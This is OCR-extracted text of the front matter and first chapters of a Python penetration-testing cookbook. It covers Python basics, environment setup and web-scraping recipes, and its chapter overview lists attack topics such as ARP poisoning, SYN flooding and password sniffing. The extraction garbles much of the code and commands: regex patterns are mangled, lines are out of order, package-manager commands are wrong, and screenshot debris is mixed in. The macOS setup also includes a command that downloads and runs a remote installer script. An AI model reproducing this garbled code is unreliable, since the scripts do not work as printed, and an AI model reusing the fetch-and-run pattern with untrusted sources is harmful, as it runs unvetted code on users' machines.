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Preface

Python is a dynamic but interpreted language, which comes under high-level programming
languages. With its clear syntax and an extensive library, it is used as a general-purpose
language. Based on Python's interpreted nature, it's often considered as a scripting language.
Python is dominant in information security as it's less complex and possesses limitless libraries
and third-party modules. Security experts have preferred Python as a language to develop
information security toolkits such as w3af, sqlmap, and many more. Python's modular design,
which help to reuse the code and code readability, make Python suites the preferred choice for
security researchers and experts to write scripts and build tools for security testing.

Information security tools, including fuzzers, proxies, scanners, and even the exploits has been
written with Python. Also, Python is the language for several current open source penetration
testing tools from volatility for memory analysis to libPST and for abstracting the process of
examining emails. It is the right language to learn for an information security researcher because
of the large number of reverse engineering and exploitation libraries available for your use. So,
learning Python may help you in difficult situations, where you need to extend or tweak these
tools.

In this book, we will deal with how a security researcher could use these tools and libraries to aid
his day-to-day work. The following pages will help you learn to detect and exploit various types
of vulnerabilities, while enhancing your knowledge on the concepts of wireless applications and
information gathering through practical recipes. Read on to explore a pragmatic way to
penetration test using Python to build efficient code and save time.



What this book covers

Chapter 1, Why Python in Penetration Testing?, begins with the importance of Python in security
testing and shows the reader how to configure the basic environment.

Chapter 2, Setting Up a Python Environment, deals with how to set up the environment in different
operating systems to start penetration testing with them.

Chapter 3, Web Scraping with Python, decodes how to download web pages with Python scripts,
and provides you with the basics of web scraping, followed by a detailed description of how to
use regular expressions to get information from downloaded web pages with Python scripts, and,
also, how to request and download dynamic website pages to crawl the data in it.

Chapter 4, Data Parsing with Python, shows you how to parse HTML tables with the help of
Python modules to download data in tables from websites and to extract data from HTML
documents and generate .csv/Excel sheets with the help of scripts.

Chapter 5, Web Scraping with Scrapy and BeautifulSoup, is where you will learn how to build and
run web spiders to crawl to web pages with the Python Scrapy module. Also, how to use the
interactive shell of Scrapy will be explained, where you can try and debug your scraping code
very quickly within the Terminal. It also deals with how to extract links from web pages crawled
by Scrapy and to use those links to get more pages from the website. Learn how to detect and
traverse links to other pages and grab data from those pages with the Scrapy module.

Chapter 6, Network Scanning with Python, teaches how to create a scanner to scan an IP for its
open ports to get details, and how to create a stealth scanning script with the help of Scapy. Also,
how to create a script to scan a range of IPs with Python and how to use the LanScan Python 3
module, which helps scan networks, will be dealt with. With LanScan, we can gather information
about the hosts and devices on the local network.

Chapter 7, Network Sniffing with Python, is a detailed guide on how to write a basic packet sniffer,
how to write scripts to parse the sniffed packets with Python, how to parse and format a MAC
address with Python modules, how to decode a sniffed packet with the help of Python modules,
and how to use Pyshark, a Python wrapper for TShark.

Chapter 8, Scapy Basics, deals with how to create a packet with the Scapy Python module, which
helps craft custom packets, and how to send packets and receive answers with Scapy. Also, how
to write scripts that can read from a pcap file and write back with the Scapy module is explained.
Scapy is all about the layering of protocols together to make custom packets. This section will
help readers get a clearer picture of layering packets with Scapy and how to use Scapy to sniff
network packets.

Chapter 9, Wi-Fi Sniffing, looks at how to write scripts to scan and get a list of the Wi-Fi devices
available with the help of Python modules. You will also learn how to write scripts to find



hidden Wi-Fi SSIDs with the help of Python modules, as well as how to write scripts to expose
hidden SSIDS with Scapy. Also, how to write a script that can run a dictionary attack on hidden
Wi-Fi SSIDs with Scapy and how to set up a fake access point with Scapy are covered.

Chapter 10, Layer 2 Attacks, explores how to write a script to watch a network for all newly
connected devices to that specific network and how to write a script that can run an address
resolution protocol (ARP) cache poisoning attack. You will also learn to write a script to create a
MAC flooding attack with the Python Scapy module and to write a Python script to create a
VLAN hopping attack. Also, we will cover how to write a script that can spoof ARP with Python
over VLAN hopping.

Chapter 11, TCP/IP Attacks, focuses on how to write a script to spoof IPs with Python modules.
You will also learn how to write a script to create a SYN flooding attack with Python and how to
write a Python script that can sniff passwords over local area network.

Chapter 12, Introduction to Exploit Development, will help you learn the basics of CPU registers
and their importance, and will explain the memory dump technique, as well as the basics of CPU
instructions.

Chapter 13, Windows Exploit Development, will help you learn the details of Windows memory
layout, which will help in exploit development. You will also learn how to write a Python script
for buffer overflow attacks with saved return pointer overwrite, and how to write scripts to
exploit Structured Exception Handling (SEH) with Python. Also, we will see, in detail, how to
write scripts to exploit Windows applications using Egg Hunters with Python.

Chapter 14, Linux Exploit Development, explains how to write scripts to run the Linux Format
String exploit with Python and how to exploit buffer overflow in a Linux environment with
Python.



What you need for this book

Basically, a computer with Python installed on it. Simulating vulnerable machines and testing
can be done using virtual machines.



Who this book is for

This book is ideal for those who are comfortable with Python or a similar language and need no
help with basic programming concepts, but want to understand the basics of penetration testing
and the problems pen-testers face.



Sections

In this book, you will find several headings that appear frequently (Getting ready and How to do
it...). To give clear instructions on how to complete a recipe, we use these sections as follows:



Getting ready

This section tells you what to expect in the recipe, and describes how to set up any software or
any preliminary settings required for the recipe.



How to do it...

This section contains the steps required to follow the recipe.



Conventions

In this book, you will find a number of text styles that distinguish between different kinds of
information. Here are some examples of these styles and an explanation of their meaning. Code
words in text, database table names, folder names, filenames, file extensions, pathnames, dummy
URLs, user input, and Twitter handles are shown as follows: "It will be extracted to a python-3.6.2
folder"

A block of code is set as follows:

import urllib.request

import urllib.parse

import re

from os.path import basename

Any command-line input or output is written as follows:

| $ sudo apt-get install python

New terms and important words are shown in bold. Words that you see on the screen, for
example, in menus or dialog boxes, appear in the text like this: "This will show an option
Package Control: Install Package."

0 Warnings or important notes appear like this.

8 Tips and tricks appear like this.



Reader feedback

Feedback from our readers is always welcome. Let us know what you think about this book-what
you liked or disliked. Reader feedback is important for us as it helps us develop titles that you
will really get the most out of. To send us general feedback, simply e-mail feedback@packtpub.com,
and mention the book's title in the subject of your message. If there is a topic that you have
expertise in and you are interested in either writing or contributing to a book, see our author
guide at www.packtpub.com/authors .


http://www.packtpub.com/authors

Customer support

Now that you are the proud owner of a Packt book, we have a number of things to help you to
get the most from your purchase.



Downloading the example code

You can download the example code files for this book from your account at
http://www.packtpub.com. If you purchased this book elsewhere, you can visit http://www.packtpub.com/suppo
rt and register to have the files e-mailed directly to you. You can download the code files by
following these steps:

Log in or register to our website using your e-mail address and password.
Hover the mouse pointer on the SUPPORT tab at the top.

Click on Code Downloads & Errata.

Enter the name of the book in the Search box.

Select the book for which you're looking to download the code files.
Choose from the drop-down menu where you purchased this book from.
Click on Code Download.

Nk W

You can also download the code files by clicking on the Code Files button on the book's
webpage at the Packt Publishing website. This page can be accessed by entering the book's name
in the Search box. Please note that you need to be logged in to your Packt account. Once the file
is downloaded, please make sure that you unzip or extract the folder using the latest version of:

e WinRAR / 7-Zip for Windows
e Zipeg/iZip / UnRarX for Mac
e 7-Zip / PeaZip for Linux

The code bundle for the book is also hosted on GitHub at hitps://github.com/PacktPublishing/Python-Penetrati
on-Testing-Cookbook. We also have other code bundles from our rich catalog of books and videos
available at https://github.com/PacktPublishing/. Check them out!
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Downloading the color images of this book

We also provide you with a PDF file that has color images of the screenshots/diagrams used in
this book. The color images will help you better understand the changes in the output. You can
download this file from https://www.packtpub.com/sites/default/files/downloads/PythonPenetrationTestingCookbook_Co
lorImages.pdf.


https://www.packtpub.com/sites/default/files/downloads/PythonPenetrationTestingCookbook_ColorImages.pdf

Errata

Although we have taken every care to ensure the accuracy of our content, mistakes do happen. If
you find a mistake in one of our books-maybe a mistake in the text or the code-we would be
grateful if you could report this to us. By doing so, you can save other readers from frustration
and help us improve subsequent versions of this book. If you find any errata, please report them
by visiting http://www.packtpub.com/submit-errata, Selecting your book, clicking on the Errata Submission
Form link, and entering the details of your errata. Once your errata are verified, your submission
will be accepted and the errata will be uploaded to our website or added to any list of existing
errata under the Errata section of that title. To view the previously submitted errata, go to https:/w
ww.packtpub.com/books/content/support and enter the name of the book in the search field. The required
information will appear under the Errata section.
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Piracy

Piracy of copyrighted material on the Internet is an ongoing problem across all media. At Packt,
we take the protection of our copyright and licenses very seriously. If you come across any
illegal copies of our works in any form on the Internet, please provide us with the location
address or website name immediately so that we can pursue a remedy. Please contact us at
copyright@packtpub.com With a link to the suspected pirated material. We appreciate your help in
protecting our authors and our ability to bring you valuable content.



Questions

If you have a problem with any aspect of this book, you can contact us at questions@packtpub.com,
and we will do our best to address the problem.



Why Python in Penetration Testing?

In this chapter, we will cover the following recipes:

e Why Python is a great option for security scripting
e Python 3 language basics and differences



Introduction

Before going deep into the uses of Python and its modules in security scripting, we need to have
an idea about the language basics and different versions. Also, it would be great if we could have
an idea of why Python is an awesome option for security scripting.



Why Python is a great option for security
scripting

In the wake of big security attacks and breaches, security/penetration testing is gaining
momentum in the quality field. As a popular language in the programming area, it is evident
from the tools, books, and scripts published in the last couple of years that Python has become
the favorite scripting language for security researchers and hackers.



Getting ready

Even though network and application security is inundated with many tools for automated and
semi-automated tests, it may not always guarantee success. Improvisation of tools and scripts is
the key to pen-testing, and there will always be some tasks that demand to be automated or to be
fulfilled in another way. Becoming a successful real-world penetration tester involves a lot of
custom scripting and programming tasks.



How to do it...

These are the main reasons for Python's popularity in security scripting and programming.



Python can be used in both and interpreted
and compiled forms

Python programs can be compiled in any situation where they can be used as compiled and not
required frequent changes. This will make Python programs run much faster and provide a better
opportunity to remove vulnerabilities and bugs. Also, interpreted programs run much slower than
compiled programs, and are more prone to vulnerabilities and attacks.

Python code uses no compiler and can run on just about any device that runs the Python shell.
Also, it shares a couple of other resemblances to scripting languages over programming
languages. So, Python can be used to perform the functions of a scripting language.



Syntax and indented layout

The syntax and indented layout of Python makes it easy to figure out what is happening in a
program during the review. The indentation also makes the program more readable and helps

make the collaborative programming easier.



Simple learning curve

Learning a new programming language is always a rigorous task. But Python was designed in
such a way that it should be easily learned by even a novice programmer. Python's growing
acceptance with the programmers is mainly due to its easiness to learn and its design philosophy
highlights code readability that will help the beginner developers to learn many things by reading
the code itself. Also, Python's read evaluate print loop (REPL) provides the developer a
chance to play around with code and experiment with it. The standard Python library maintains a
lot of functionalities with which we can execute complex functionalities with ease.



Powerful third-party libraries

Once you have learned Python, you can leverage the platform backed with a large number of
libraries. The Python Package Index (PyPI), is a repository of more than 85,000 reusable
Python modules and scripts that you can use in your scripts. Python is the best language to learn
as a security researcher, because of the availability of its large number of reverse engineering and
exploitation libraries.



Cross-platform (code anywhere)

Python works on Linux, Microsoft Windows, macOS X, and many other operating systems and
devices. A Python program written on a macOS X computer will run on a Linux system and vice
versa. Also, Python programs can run on Microsoft Windows computers, as long as the machine

has Python interpreter installed.



Python 3 language basics and differences

Python 3.0 was first released in 2008. Even though Python 3 supposed to be backward
incompatible with other old version, many of its features are backported to support older
versions. It is better to have an idea of Python versions and its differences for better
understanding of our recipes.



Getting ready

If you are new to Python, you might be confused about the different versions that are available.
Before looking into the further details, let's have a look at the most recent major releases of
Python and the key differences between Python 2 and Python 3.



How to do it...

These are the major Python versions available.



Python 2

Published in late 2000, it has many more programmatic features including a cycle-detecting
garbage collector that helps to automate memory management. The increased unicode support
that helps to standardize characters, and list comprehensions that help to create a list based on
existing lists are other features. In Python version 2.2, the types and classes are consolidated into
one hierarchy.



Python 3

Python 3 was released in late 2008, to update and fix the built-in design flaws of the prior
versions of Python. The main focus of Python 3 development was to clean up the code base and
reduce redundancy.

In the beginning, the adoption of Python 3 was a very slow process due to its backward
incompatibility with Python 2. Moreover, many package libraries were only available for Python
2. Later, there was an increased adoption for Python 3 as the development team announced that
there will be an end of life for Python 2 support and more libraries have been ported or migrated
to Python 3.



Python 2.7

Python 2.7 was published in 2010 and was planned as the last release for 2.x versions. Its
intention was to make it easier for Python 2.x users to port their features and libraries over to
Python 3 by providing compatibility between the two, which included a unit test to support test
automation, argparse for parsing command-line options, and more convenient classes in
collections.



Key differences between Python 2.7 and
Python 3

Here are some main differences between Python 2.x and Python 3:

e Print: In Python 2, print is a statement. So, there is no need to wrap the text in parentheses
for printing. But in Python 3 print is a function. So, you have to pass the string you need to
print to the function in parentheses.

¢ Integer division: Python 2 considers numbers without any digits after the decimal point as
integers, which may lead to some unexpected results during division.

¢ List comprehension loop variables leak: In Python 2, giving the variable that is iterated
over in a list comprehension leaks the variable into surrounding scope, this list
comprehension loop variable leak bug has been fixed in Python 3.

¢ Unicode strings: Python 2 requires you to mark the unicode string explicitly with the u
prefix. But, Python 3 stores strings as unicode by default.

¢ Raising exceptions: Python 3 requires different syntax for raising exceptions.

The progression from Python 2.x to Python 3.x is happening slowly, but it is underway. It is
good to be mindful that there are material differences between Python 2.x and Python 3 as you
may need to deal with code that is written in the version with which you are less familiar.



Setting Up a Python Environment

In this chapter, we will cover the following recipes:

e Setting up a Python environment in Linux
e Setting up a Python environment in macOS
e Setting up a Python environment in Windows



Introduction

In this chapter, we will learn how to set up Python on your machine. Most operating systems
except Windows already have Python interpreter installed by default. To check that Python
interpreter is installed, you can open a command-line window and type python into the prompt and
hit Enter key--you will get a result like this:

You can get the latest up-to-date and current versions of Python binaries and source code from
the official website of Python--https://www.python.org/.


https://www.python.org/

Setting up a Python environment in Linux

Let's go through the step by step process of setting up your Python environment on your Linux
system. First, we can learn to install Python if it's not installed by default.



Getting ready

As we have many package managers in different flavors of Linux distributions such as apt/apt-get
and dpkg. For Debian-based distributions such as Ubuntu, yun (Yellowdog) for CentOS/RHEL,
and zypper and yast for SUSE Linux, these package managers will help us to install Python with
ease in Linux distros. With this, you have to just issue a command and package managers will
search for the required package and its dependencies, download the packages, and install them in
your system.



How to do it...

First, you have to install Python on your system.



Installing Python

1. If you are using a Debian-based distribution such as Ubuntu you can install Python with:

| $ sudo apt-get install python

If your system runs CentOS/RHEL, use the following command to install Python:

| $ sudo yum install python

If it's a SuSE Linux distribution, use the following command to install Python:

| $ sudo yum install python

2. Check the version of installed Python interpreter with the following command in the
Terminal:

| $ python -version

This will print the current installed Python version.

3. If you want to install a specific version of Python, we get the Python source code from the ht

tps://www.python.org/ website and install it manually. For this, you can download the required
source archive from https://www.python.org/ftp/python/.

You can download with the following command; make sure to replace the version
number with your required one:

| $ wget https://www.python.org/ftp/python/3.6.2/Python-3.6.2.tgz

4. Then we have to extract the downloaded archive with the following command:

| $ tar -xvzf Python-3.6.2.tgz
It will be extracted to a python-3.6.2 folder.

5. Now you can configure, build, and install Python, for this you need to have a C compiler
installed on your system. If it's not installed you can do it as follows:

e For Debian/Ubuntu:

$ sudo apt-get install gcc

e For CentOs/ RHEL:

| $ yum install gcc

Then, you can run configure for configuring the build and then install the build with
the make altinstall command:


https://www.python.org/
https://www.python.org/ftp/python/

$ cd Python-3.6.2
$ ./configure --prefix=/usr/local
$ make altinstall

After installation, you can see both versions of Python installed on the system and you
can choose which version to use while running the scripts.



Setting up a virtual environment

Now you can learn to set up a virtual environment that will help to set up an isolated scripting
environment. This will help us to keep the dependencies required by different projects in
different locations. Also, it helps to keep the global site-packages clean and separate from project
dependencies:

1. You can use pip to install the virtual environment module in the system:

| $ pip install virtualenv

2. Then test the installation by using the following:

| $ virtualenv --version

w

. Try creating a new virtual environment inside your project folder:

$ mkdir new-project-folder
$ cd new-project-folder
$ virtualenv new-project

This will create a folder in the current directory with a name new-project.

If you want to create a virtual environment with a Python interpreter of your choice as
follows:

| $ virtualenv -p /usr/bin/python3 new-project

4. You can activate this virtual environment with the following:

| $ source new-project/bin/activate

Ul

. If you have completed your work inside the virtual environment, you can deactivate and get
out of the virtual environment with the following:

| $ deactivate

6. We can make it simpler with virtualenvwrapper. The virtualenvwrapper helps to keep all our
virtual environments in one place. To install virtualenvwrapper We can use the pip command:

| $ pip install virtualenvwrapper

We have to set the workon_rove variable, which is the folder where all the virtual
environments are saved:

$ export WORKON_HOME=~/Envs
$ source /usr/local/bin/virtualenvwrapper.sh

7. With virtualenvwrapper we can create a project as follows:



10.

$ mkvirtualenv new-project
This will create the virtual environment inside the workon_rove, that is, ~/envs.

To activate the created project we can use the following command:

$ workon new-project

With more ease we can create a virtual environment and the project folder with a single
command as follows:

$ mkproject new-project

Finally, we can exit from the virtual environment with the deactivate command itself.



Setting up the editor or IDE

Lastly, you require a text editor or an IDE to edit the scripts. As Python programs are just text
files that we can edit directly, if you do not have a favorite text editor, sublime text3 is a good
option:

1. To install sublime text3, you can download the latest version from https://www.sublimetext.com/3.
2. You can install sublime text3 from the command line with the following commands:

$ sudo add-apt-repository ppa:webupd8team/sublime-text-3
$ sudo apt-get update
$ sudo apt-get install sublime-text-installer

3. It would be better if you could install the anaconda package for sublime text3. To install it, use

the keyboard shortcut Ctrl +Shift + P and type insta11. This will show an option Package
Control: Install Package.

Lo e

Package Control: Add Channel

Package Control: Add Repository

Package Control: Disable Package

Package Control: Discover Packages

Package Control: Enable Package
_* Package Control: Install Package

Package Control: List Packages

Package Control: Remove Channel

Package Control: Remove Package

Package Control: Remove Repository
ol oieme 0! moniconcin B Ehals IbIH Package Control: Satisfy Dependencies

Package Control: Upgrade Package

Anaconda works fine out of the package Control: Advanced Install Package
Lt 10 you meedpion sty e Package Control: Create Package File
For a complete guide of use an Package Control: Install Local Dependency
Package Control: List Unmanaged Packages
Preferences: Package Control Settings - Default
Please, consider donating to n Preferences: Package Control Settings - User

Anaconda

http://damnwidget.github. io/

https://pledgie. com/campaigns/3223@

4. Select this and search for the package anaconda. Select the package to install it.

ok Coval Tecoe anagc.__________________________|

Anaconda
A...pment.. letion,...inting,. .,...Ing,...McC...lexi. .li...i...Jedi,...lakes,...,...,..int, il li...
install v2.1.18; damnwidget.github.io/anaconda/

Anaconda

anaconda_go
AnacondaGO adds autocompletion, linting and IDE features for Colang to your S... ...}

\ install v0.2.1; github.com/DamnWidget/anaconda_go

el
( Ianacunda_php

Anaconda.PHP adds PHP |...messing detector that will never freeze your Sublime Text :

|
S 1N
install v0.1.6; github.com/DamnWidget/anaconda_php
anaconda_rust

Welcome to anaconda, the Sublime AnacondaRustoffers auto completion, auto formatting an.. eeze your Sublime Text 3

install v0.2.10; github.com/DamnWidget/anaconda_rust
Anaconda works fine out of the be

it to your needs or style. Angular CLI
Angular CLI for Sublime Text3
For a complete guide of use and ¢ install v1.0.0; 4ern.de
http://damnwidget.github. io/an: Angular-io-Code
Main repository for Angular.io Code Color Theme

Please, consider donating to mair

install v0.0.2; github.com/Angular-io-Code/Angular-io-Code
https://pledgie.com/campaigns/32238



https://www.sublimetext.com/3

Setting up a Python environment in macQOS

Likewise in a Linux environment, macOS also have Python installed by default. But you need to
get an idea of the basic installation steps as it will help with updates and reinstallations.



Getting ready

First of all, install Xcode from the App Store, if you haven't installed it already. And then update
the command-line tools with the following command:

| $ xcode-select --install

Also, we need to install Homebrew, a package manager for macOS, for that open terminal and type
the following command:

| $ ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"



How to do it...

Now you can make use of the nomebrew package manager to install Python in macOS.



Installing Python

1. Search the Homebrew for the options we can install:

$ brew search python

This will get a result as follows:

python

To install Python 3, you can run the following command:

$ brew install python3
AlOIlg with PythOIl 3, brew will install pips and setuptools.

To set up the virtual environment and virtualenvwrapper, you can follow the same steps as we
did for Linux environment.

To install the sublime text3, get the package from https://www.sublimetext.com/3 and run the
installer. Everything else for configuring Sublime text 3 is the same as in the Linux
environment.


https://www.sublimetext.com/3

Setting up a Python environment in Windows

Python interpreter is not installed in Windows by default. So we have to download and install
Python.



How to do it...

We can download the Python from the official website and install it in your system. Execute the
following steps:

1. Go to the official website of Python (http://python.org/download/) and download the latest version
of Windows MSI installer.

2. Run the installer.

3. You can select the option to Install launcher for all users (recommended) and click Install
Now to finish the installation.

Python 3.6.2 (32-bit) Setup - o IEl

Install Python 3.6.2 (32-bit)

Select Install Now to install Python with default settings. or choose
Customize to enable or disable features.

< Install Now
C:\Users\rejah\ AppData\Local\Programs\Python'Pyth

Includles IDLE, pip and documentation
Creates shortcuts and file associations

v

# Customize installation
Choose location and features

python
fe

v ended
windows [¥ Add Python 3.6 to PATH Cancel

4. After installation, it would be better if you could add the default Python directories of your
version to the path.

If you have installed Python in c:\pythonse\, you should add the following directories in
YOUrI PATH--C:\Python36\;C:\Python36\Scripts\.

For that navigate to My Computer | Properties | Advanced System Settings | Environment
Variables and edit the path variable to add the new directories.


http://python.org/download/

Environment Variables i
n Properties

User variables for rejah ad | System Protection | Remote|

Variable Value 3
istrator to make most of these changes
PATH C:\Users\rejah\AppData\Local\Program...
TEMP %6USERPROFILE%\AppData’Local\Temp
TMP %6USERPROFILE%\AppData’Local\Temp g. memory usage, and virtual memory

Variable name: ;
jn-in

Variable value:

Settings...

debugging information

| Environment Variables... |

| OK ‘ | Cancel | Apply

5. Now you can install virtual environment and virtualenvwrapper as we did for the other

environments.

6. Also, you can download and install the sublime text 3 as editor.



Web Scraping with Python

In this chapter, we will cover the following recipes:

Downloading web pages with Python scripts

Changing the user agent

Downloading files

Using a regular expression to get the information from the downloaded web pages
Requesting and downloading dynamic website pages

Dynamic GET requests



Introduction

Web scraping is the process of automating the extraction of data from the web into a format so
that you can easily analyze or make use of it. The ur11ib Python module helps you to download
data from web servers.



Download web pages with Python scripts

To download web pages from the web server, the ur11ib module, which is part of the standard
Python library, can be used ur11ib includes functions for retrieving data from URLs.



Getting ready

To learn the basics, we could use the Python interactive terminal. Type python in your Terminal
window and press Enter. This will open up the Python (Python 2.x) interactive terminal.



How to do it...

There are some differences in commands for doing this in Python 2.x and Python 3.x, mainly
with the print statements. So please note the difference in the syntax. This will be helpful in our
upcoming recipes.



With Python 2

. First, import the required module, ur11ib:

—_

| >>> import urllib

2. With the uriopen method, you can download the web page:

| >>> webpage = urllib.urlopen("https://www.packtpub.com/")

3. We can read the file like a returned object with the read method:

| >>> source = webpage.read()

4. Close the object when it's done:

| >>> webpage.close()

5. Now we can print the HTML, which is in a string format:

| >>> print source

6. Itis very easy to update the program to write the contents of the source string to a local file
on your computer:
>>> f = open('packtpub-home.html', 'w')

>>> f.write(source)
>>> f.close



With Python 3

In Python 3 both ur11ib and uri1ib2 are part of the ur11ib module, so there is some difference in
using ur11ib. Also, the ur11ib package contains the following modules:

urllib.request
urllib.error

urllib.parse

urllib.robotparser
The ur11ib.requestmodule is used for opening and fetching URLs with Python 3:

1. First import the uri1ib.request module from ur11ib packages:

| >>> import urllib.request

2. Get the web page with the uriopen method:

| >>> webpage = urllib.request.urlopen("https://www.packtpub.com/")

3. Read the object with the read method:

| >>> source = webpage.read()

4. Close the object:

| >>> webpage.close()

5. Print the source:

| >>> print(source)

6. You can write the contents of the source string to a local file on your computer as follows.
Make sure that the output file is in binary mode:

>>> f.write(source)

>>> f = open('packtpub-home.html', 'wb')
>>> f.close

Python 2 modules ur11ib and uri1ibz help to do URL-request-related stuff, but both
have different functionalities.

ur11ib provides the uriencode method, which is useful in generating cer requests.
However, uri1ib2 doesn't support the uriencode method. Also, uriiibz can accept the
request object and modify the headers for a URL request, but ur11ib can only accept
the URL and is not capable of modifying the headers in it.



Changing the user agent

Many websites use a user agent string to identify the browser and serve it accordingly. As we are
using urilib to access the website, it won't recognize this user agent and may behave in strange
ways or fail. So, in this case, we could specify the user agent for our requests.



How to do it...

We use custom user agent string in the request as following:

1. First, import the required modules:

| >>> import urllib.request

2. Then define the user agent we plan to specify for the request:

| >>> user_agent = ' Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0'

3. Set up the headers for the request:

| >>> headers = {'User-Agent': user_agent}

4. Create the request as follows:

| >>> request = urllib.request.Request("https://www.packtpub.com/", headers=headers)

5. Request the web page with uriopen:

>>> with urllib.request.urlopen(request) as response:
with open('with_new_user_agent.html', 'wb') as out:
out.write(response.read())



Downloading files

We can make use of the requests Python module to download files. The requests module is a
simple and easy-to-use HTTP library in Python that has various applications. Also, it helps
establish the seamless interaction with the web services.



Getting ready

First of all, you have to install the requests library. This can be done using pip by typing the
following command:

| pip install requests



How to do it...

Let's try downloading a simple image file with the requests module. Open Python 2:

1. Asusual, import the requests library first:

| >>> import requests

2. Create an HTTP response object by passing a URL to the get method:

| >>> response = requests.get("https://rejahrehim.com/images/me/rejah.png")

3. Now send the HTTP request to the server and save it to a file:

>>> with open("me.png", 'wb') as file:
file.write(response.content)

If it's a large file, the response.content Will be a large string and won't be able to save all the
data in a single string. Here, we use the iter_content method to load the data in chunks.

4. Here, we can create an HTTP response object as a strean:

| response = requests.get("https://rejahrehim.com/images/me/rejah.png", stream = True)

5. Then, send the request and save the file with the following command:

for chunk in response.iter_content(chunk_size=1024):
if chunk:

>>> with open("me.png", 'wb') as file:
file.write(chunk)

This will work in Python 3. Also, make sure you install the required libraries in the
0 Python 3 environment.



Using a regular expression to get the
information from the downloaded web pages

The regular expression (re) module helps to find specific patterns of text from the downloaded
web page. Regular expressions can be used to parse data from the web pages.

For instance, we can try to download all images in a web page with the help of the regular
expression module.



How to do it...

For this, we can write a Python script that can download all JPG images in a web page:

Create a file named download_image.py in your working directory.
Open this file in a text editor. You could use sublime text3.
As usual, import the required modules:

wnNE

import urllib2

import re

from os.path import basename
from urlparse import urlsplit

4. Download the web page as we did in the previous recipe:

url="https://www.packtpub.com/'

response = urllib2.urlopen(url)

source = response.read()

file = open("packtpub.txt", "w")
file.write(source)

file.close()

5. Now, iterate each line in the downloaded web page, search for image URLSs, and download

them:

patten = '(http)?s?:?2(\/\/[A"]*\.(?:png|jpg|jpeg|gif|png|svg))’
for line in open('packtpub.txt'):
for m in re.findall(patten, line):
fileName = basename(urlsplit(m[1])[2])
try:
img = urllib2.urlopen('https:' + m[1]).read()
file = open(fileName, "w")
file.write(img)
file.close()
except:
pass
break

The first for loop iterates through the lines in the downloaded web page. The second for loop

searches each line for the image URLs with the regular expression pattern.

If the pattern is found, the filename of the image is extracted with the urisp1it() method in the

uriparse module. Then, we download the image and save it to the local system.

The same script can be rewritten to Python 3 with minimal changes:

import urllib.request
import urllib.parse
import re
from os.path import basename
url = 'https://www.packtpub.com/'
response = urllib.request.urlopen(url)
source = response.read()
file = open("packtpub.txt", "wb")
file.write(source)
file.close()
patten = '(http)?s?:2(\/\/[A"]*\.(?:png|jpg|jpeg|gif|png]|svg))’
for line in open('packtpub.txt'):

for m in re.findall(patten, line):




print('https:' + m[1])
fileName = basename(urllib.parse.urlsplit(m[1])[2])
print(fileName)
try:
img = urllib.request.urlopen('https:' + m[1]).read()
file = open(fileName, "wb")
file.write(img)
file.close()
except:
pass
break

In Python 3, the request and uriparse modules are combined with uri1ib as urilib.request and
urllib.parse. With regular expression patterns, we could parse a lot of useful information for a
web page.

You could learn more about the regular expression module at https://docs.python.org/3.7/1
ibrary/re.html.


https://docs.python.org/3.7/library/re.html

Requesting and downloading dynamic
website pages

In case of websites having forms or receiving user inputs, we have to submit a cer request or a
posT request. Now let's try creating cet requests and post request with Python. The query string is
the method for adding key-value pairs to a URL.



Escaping invalid characters

In the previous recipe, what will happen if we remove the try catch block in the last step?

patten = '(http)?s?:2(\/\/[A"]*\.(?:png|jpg|jpeg|gif|png]|svg))’
for line in open('packtpub.txt'):
for m in re.findall(patten, line):
fileName = basename(urlsplit(m[1])[2])
img = urllib2.urlopen('https:' + m[1]).read()
file = open(fileName, "w")
file.write(img)
file.close()
break

The script will fail after a few requests due to the error in the URL format. Some extra characters
appeared in the URL and this failed the ur11ib request.



How to do it...

It's impossible to remember which characters are invalid and manually escape them with percent
signs, but the built-in Python module uri1ib.parse has the required methods to solve this.

Now we can try fixing this by escaping/URL encoding the request. Rewrite the script as follows:

patten = '(http)?s?:2(\/\/[A"]*\.(?:png|jpg|jpeg|gif|png]|svg))’
for line in open('packtpub.txt'):
for m in re.findall(patten, line):
print('https:' + m[1])
fileName = basename(urllib.parse.urlsplit(m[1])[2])
print(fileName)
request = 'https:' + urllib.parse.quote(m[1])
img = urllib.request.urlopen(request).read()
file = open(fileName, "wb")
file.write(img)
file.close()
break




Dynamic GET requests

Now we know that Python can programmatically download a website as long as we have the
URL. If we have to download multiple pages that only differ in the query string, then we can
write a script to do this without repeatedly rerunning the script, and instead download everything
we need in one run.



How to do it...

Check out this URL-- https://www.packtpub.com/all?search=&offset=12&rows=&sort=. Here, the query string
variable that defines the page number (offset) is multiples of 12:

To download all the images in all of these pages, we can rewrite the previous recipe as follows:

1. Import the required modules:

import urllib.request

import urllib.parse

import re

from os.path import basename

2. Define the URL and query string:

url = 'https://www.packtpub.com/'
queryString = 'all?search=&offset='

3. Iterate the offset through multiples of 12:

for i in range(0, 200, 12):

query = queryString + str(i)

url += query

print(url)

response = urllib.request.urlopen(url)

source = response.read()

file = open("packtpub.txt", "wb")

file.write(source)

file.close()

patten = '(http)?s?:?2(\/\/[7A"]1*\.(?:png]|jpg|jpeg|gif|png]|svg))’

for line in open('packtpub.txt'):

for m in re.findall(patten, 1line):

print('https:' + m[1])
fileName = basename(urllib.parse.urlsplit(m[1])[2])
print(fileName)
request = 'https:' + urllib.parse.quote(m[1])
img = urllib.request.urlopen(request).read()
file = open(fileName, "wb")
file.write(img)
file.close()
break



https://www.packtpub.com/all?search=&offset=12&rows=&sort=

Data Parsing with Python

In this chapter, we will cover the following recipes:

e Parsing HTML tables
e Extracting data from HTML documents
e Parsing XML data



Introduction

As we have downloaded the web page in the previous recipes, now we can discuss how to handle
those files and parse them to get the required information.



Parsing HTML tables

After downloading the HTML pages from the server, we have to extract the required data from
them. There are many modules in Python to help with this. Here we can make use of the Python
package seautifulsoup.



Getting ready

As usual, make sure that you install all the required packages. For this script, we require
Beautifulsoup and pandas. You can install them with pip:

pip install bs4
pip install pandas

pandas iS an open source data analysis library in Python.



How to do it...

We can parse HTML tables from the downloaded pages as following:

1. As usual, we have to import the required modules for the script. Here, we import
geautifulsoup for parsing HTML and pandas for handling the data that is parsed. Also, we have
to import the ur11ib module for getting the web page from the server:

import urllib2
import pandas as pd
from bs4 import BeautifulSoup

2. Now we can get the HTML page from the server; for this, we can use the ur11ib module:

url = "https://www.w3schools.com/html/html_tables.asp"
try:

page = urllib2.urlopen(url)
except Exception as e:

print e

pass

3. Then, we can use geautifulsoup to parse the HTML and get the tabie from it:

